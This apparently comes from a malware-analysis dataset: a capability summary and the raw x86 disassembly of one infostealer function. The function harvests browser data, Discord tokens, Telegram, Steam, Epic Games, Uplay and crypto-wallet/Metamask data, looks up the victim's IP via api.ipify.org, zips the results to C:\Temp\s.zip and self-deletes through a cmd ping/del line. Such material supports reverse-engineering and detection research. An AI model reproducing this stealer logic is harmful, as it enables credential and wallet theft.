Function at 0x40abd0
Capabilities:
Create process on windows
Create thread
Delete file
Initialize winhttp library
Prepare http request
Receive http response
Self delete

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1808
call fcn.00410dd0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1804], eax
push esi
push edi
push 0x5f5e100
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
test eax, eax
je 0x40b51a
call fcn.00405ab0
cmp eax, 1
je 0x40b51a
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x40ab90
push 0
push 0
call esi
push 0x208
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1b4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x3b8]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x7c8]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x5c0]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x9d0]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0xfe8]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0xbd8]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0xde0]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x38]
push eax
push 0
lea eax, [esp + 0x1b8]
push eax
push 0x406630
push 0
push 0
call esi
mov dword [esp + 0x88], eax
lea eax, [esp + 0x38]
push eax
push 0
lea eax, [esp + 0x5c8]
push eax
push 0x408040
push 0
push 0
call esi
mov dword [esp + 0x8c], eax
lea eax, [esp + 0x38]
push eax
push 0
lea eax, [esp + 0x3c0]
push eax
push 0x409500
push 0
push 0
call esi
mov dword [esp + 0x90], eax
lea eax, [esp + 0x38]
push eax
push 0
lea eax, [esp + 0x7d0]
push eax
push 0x408270
push 0
push 0
call esi
mov dword [esp + 0x94], eax
lea eax, [esp + 0x38]
push eax
push 0
lea eax, [esp + 0x9d8]
push eax
push 0x409160
push 0
push 0
call esi
mov dword [esp + 0x98], eax
lea eax, [esp + 0x38]
push eax
push 0
lea eax, [esp + 0xde8]
push eax
push 0x409e40
push 0
push 0
call esi
mov dword [esp + 0x9c], eax
lea eax, [esp + 0x38]
push eax
push 0
lea eax, [esp + 0xff0]
push eax
push 0x408d20
push 0
push 0
call esi
mov dword [esp + 0xa0], eax
lea eax, [esp + 0x38]
push eax
push 0
lea eax, [esp + 0xbe0]
push eax
push 0x4092d0
push 0
push 0
call esi
push 0xffffffffffffffff
mov dword [esp + 0xa8], eax
lea eax, [esp + 0x8c]
push 1
push eax
push 8
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor esi, esi
nop word [eax + eax]
push dword [esp + esi*4 + 0x88]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, 8
jl 0x40ae10
push 0x104
lea eax, [esp + 0xac]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x11f0]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0xc], 0
xorps xmm0, xmm0
mov dword [esp + 0x1c], 0
movaps xmmword [esp + 0x20], xmm0
mov dword [esp + 0x3c], 0
push 0
push 0
push 0
push 0
push str.WinHTTP
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push 0
push 0x50
push str.api.ipify.org
push eax
mov dword [esp + 0x24], eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push 0
push 0
push 0
push 0
push 0x413614
push 0x4128d4
push eax
mov dword [esp + 0x2c], eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
push 0
push 0
push 0
push 0
push 0
mov edi, eax
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea eax, [esp + 0x1c]
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov eax, dword [esp + 0x1c]
xor ecx, ecx
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, dword [esp + 0x20]
add esp, 4
inc ecx
mov esi, eax
push ecx
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x20]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push esi
push 0x4134c8
lea eax, [esp + 0x28]
push eax
call fcn.00401020
add esp, 0xc
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
add esp, 4
push edi
call esi
push dword [esp + 0x10]
call esi
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0xac]
push str.C:Temp_s.zip
push eax
call fcn.00401020
add esp, 0xc
lea eax, [esp + 0xa8]
push 0x208
push eax
lea eax, [esp + 0x11f8]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
lea ecx, [esp + 0xb4]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40af91
sub ecx, edx
cmp ecx, 1
jb 0x40b014
push 0x4e018
push 1
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov esi, eax
add esp, 8
test esi, esi
je 0x40b014
mov dword [esi + 0x50], 6
sub esp, 8
mov dword [esi + 0x58], 0xffffffff
mov ecx, esi
mov dword [esi + 0x3c], 0x40e970
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], esi
call fcn.0040e830
add esp, 8
test eax, eax
je 0x40b00a
mov edx, 0x4139e0
lea ecx, [esp + 0xa8]
call fcn.0040da50
mov ecx, eax
test ecx, ecx
jne 0x40b048
mov ecx, esi
call fcn.0040e730
mov dword [esi + 0x1c], 0x11
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor esi, esi
mov ecx, 0x41394c
lea eax, [esp + 0x1b0]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b057
test dx, dx
je 0x40b044
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b057
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b022
xor eax, eax
jmp 0x40b05c
mov eax, dword [esi + 0x48]
mov dword [eax + 0x3c], ecx
mov dword [esi + 0x18], 4
jmp 0x40b016
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b0b7
mov edi, 1
lea edx, [esp + 0x1b0]
push str.browser.json
mov ecx, esi
mov dword [esp + 0x10], edi
call fcn.0040a5f0
lea ecx, [esp + 0x1b4]
add esp, 4
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b090
sub ecx, edx
xor eax, eax
sar ecx, 1
mov word [esp + ecx*2 + 0x19e], ax
lea ecx, [esp + 0x1b0]
call fcn.00405d10
jmp 0x40b0b9
xor edi, edi
mov ecx, 0x41394c
lea eax, [esp + 0x5c0]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b0eb
test dx, dx
je 0x40b0e7
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b0eb
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b0c5
xor eax, eax
jmp 0x40b0f0
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b11f
mov edi, 1
lea edx, [esp + 0x5c0]
push str.Telegram
mov ecx, esi
mov dword [esp + 0x10], edi
call fcn.0040a6d0
add esp, 4
lea ecx, [esp + 0x5c0]
call fcn.00405d10
mov ecx, 0x41394c
lea eax, [esp + 0x3b8]
nop dword [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b156
test dx, dx
je 0x40b152
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b156
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b130
xor eax, eax
jmp 0x40b15b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b1a9
mov edi, 1
lea edx, [esp + 0x3b8]
push str.discord_tokens.json
mov ecx, esi
mov dword [esp + 0x10], edi
call fcn.0040a5f0
lea ecx, [esp + 0x3bc]
add esp, 4
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b190
sub ecx, edx
sar ecx, 1
xor eax, eax
mov word [esp + ecx*2 + 0x3a0], ax
mov ecx, 0x41394c
lea eax, [esp + 0x7c8]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b1db
test dx, dx
je 0x40b1d7
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b1db
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b1b5
xor eax, eax
jmp 0x40b1e0
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b20f
mov edi, 1
lea edx, [esp + 0x7c8]
push str.Steam
mov ecx, esi
mov dword [esp + 0x10], edi
call fcn.0040a6d0
add esp, 4
lea ecx, [esp + 0x7c8]
call fcn.00405d10
mov ecx, 0x41394c
lea eax, [esp + 0x9d0]
nop dword [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b246
test dx, dx
je 0x40b242
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b246
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b220
xor eax, eax
jmp 0x40b24b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b27a
mov edi, 1
lea edx, [esp + 0x9d0]
push str.Epic_Games
mov ecx, esi
mov dword [esp + 0x10], edi
call fcn.0040a6d0
add esp, 4
lea ecx, [esp + 0x9d0]
call fcn.00405d10
mov ecx, 0x41394c
lea eax, [esp + 0xfe8]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b2ac
test dx, dx
je 0x40b2a8
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b2ac
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b286
xor eax, eax
jmp 0x40b2b1
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b2d4
mov edi, 1
lea edx, [esp + 0xfe8]
push str.Wallets
mov ecx, esi
mov dword [esp + 0x10], edi
call fcn.0040a6d0
add esp, 4
mov ecx, 0x41394c
lea eax, [esp + 0xbd8]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b306
test dx, dx
je 0x40b302
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b306
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b2e0
xor eax, eax
jmp 0x40b30b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b33a
mov edi, 1
lea edx, [esp + 0xbd8]
push str.Metamask
mov ecx, esi
mov dword [esp + 0x10], edi
call fcn.0040a6d0
add esp, 4
lea ecx, [esp + 0xbd8]
call fcn.00405d10
mov ecx, 0x41394c
lea eax, [esp + 0xde0]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b36c
test dx, dx
je 0x40b368
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b36c
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b346
xor eax, eax
jmp 0x40b371
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b3a0
mov edi, 1
lea edx, [esp + 0xde0]
push str.Uplay
mov ecx, esi
mov dword [esp + 0x10], edi
call fcn.0040a6d0
add esp, 4
lea ecx, [esp + 0xde0]
call fcn.00405d10
test esi, esi
je 0x40b433
cmp dword [esi + 0x14], 2
jne 0x40b3b5
mov ecx, esi
call fcn.0040efc0
mov eax, dword [esi + 0x14]
cmp eax, 2
je 0x40b3c2
cmp eax, 3
jne 0x40b41c
cmp dword [esi + 0x3c], 0x40e660
mov ecx, dword [esi]
mov edi, dword [esi + 0x48]
mov dword [esp + 0x14], ecx
mov ecx, dword [esi + 4]
mov dword [esp + 0x10], ecx
jne 0x40b3e1
cmp dword [edi + 0x48], 0
jne 0x40b411
cmp eax, 3
jne 0x40b411
mov eax, dword [edi + 0x3c]
test eax, eax
je 0x40b411
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fileno]
mov edx, dword [esp + 0x18]
add esp, 4
add edx, dword [edi + 0x40]
mov ecx, dword [edi + 0x44]
adc ecx, dword [esp + 0x10]
push ecx
push edx
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__chsize_s]
add esp, 0xc
mov ecx, esi
call fcn.0040e730
mov edi, dword [esp + 0xc]
cmp dword [esi + 0x14], 1
jne 0x40b429
mov ecx, esi
call fcn.0040db40
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
test edi, edi
je 0x40b441
mov dword [0x4163cc], 1
push 0x7530
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x4163cc], 0
je 0x40b46e
cmp dword [0x4163d0], 0
jne 0x40b46e
lea ecx, [esp + 0xa8]
call fcn.0040a930
lea eax, [esp + 0x11f0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [esp + 0x13fc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40b51a
lea eax, [esp + 0x13f8]
push eax
lea eax, [esp + 0x1604]
push str.cmd__c_ping_127.0.0.1__n_2___nul__del__f__q___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40
lea eax, [esp + 0x48]
mov dword [esp + 0x44], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x44]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x1620]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40b51a
push dword [esp + 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x24]
call esi
mov ecx, dword [esp + 0x180c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0041005d
mov esp, ebp
pop ebp
ret 0x10